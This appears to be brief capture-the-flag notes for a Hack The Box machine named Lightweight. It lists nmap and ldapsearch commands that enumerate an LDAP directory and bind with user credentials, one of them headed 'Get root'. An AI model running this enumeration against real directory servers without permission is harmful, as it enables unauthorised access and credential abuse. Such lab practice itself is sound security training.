nmap -p 389 -sV --script ldap-rootdse <ip>
ldapsearch -x -H ldap://<ip> -b dc=lightweight,dc=htb -D "uid=ldapuser,ou=People,dc=lightweight,dc=htb" -w "<password>"
Get root :
nmap -p 389 -sV --script ldap-search --script-args 'ldap.username="uid=ldapuser1,ou=People,dc=lightweight,dc=htb",ldap.password=<password>' <ip>